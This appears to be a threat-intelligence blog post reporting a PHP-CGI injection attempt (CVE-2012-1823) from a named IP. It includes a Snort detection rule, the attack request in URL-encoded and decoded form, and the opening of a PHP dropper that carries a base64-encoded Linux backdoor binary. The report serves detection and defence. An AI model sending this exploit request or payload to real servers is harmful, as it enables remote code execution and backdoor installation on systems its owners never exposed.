PHP Injection: 178.32.187.62

PHP Injection Attempt
Reported by neonprimetime security
http://neonprimetime.blogspot.com

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Source IP : 178.32.187.62

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Linux.BackDoor.Sessox.2
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Matched:
SERVER-WEBAPP PHP-CGI remote file include attempt (1:22063)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP PHP-CGI remote file include attempt"; flow:to_server,established; content:"auto_prepend_file"; http_uri; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2012-1823; reference:cve,2012-2311; reference:cve,2012-2335; reference:cve,2012-2336; classtype:attempted-admin; sid:22063; rev:9; )
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POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E

<?php
$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD/f0VMRgIBAQACAD4AG9AbQB/3N/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIk

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POST /cgi-bin/php5?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env="yes"+-d+cgi.fix_pathinfo=1+-d+auto_prepend_file=php://input+-n